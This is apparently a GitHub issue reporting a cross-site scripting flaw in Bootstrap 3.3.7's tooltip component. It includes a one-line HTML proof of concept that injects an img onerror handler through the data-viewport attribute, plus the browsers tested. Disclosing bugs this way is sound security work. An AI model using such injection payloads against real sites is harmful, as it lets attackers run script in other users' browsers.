Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

tooltip - XSS on data-viewport attribute #27044

Closed
don-spyker opened this issue Aug 10, 2018 · 0 comments
Closed

tooltip - XSS on data-viewport attribute #27044

don-spyker opened this issue Aug 10, 2018 · 0 comments
Labels

Comments

@don-spyker
Copy link

don-spyker commented Aug 10, 2018

found in bootstrap 3.3.7

<a href="#" data-toggle="tooltip" data-viewport="<img src=1 onerror=alert(123) />" title="Hooray!">Hover over me</a>
https://jsbin.com/qipirurise/edit?html,output

Win 7 x64
Chrome 67.0.3396.99
Firefox 61.0.1 (64-Bit)

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants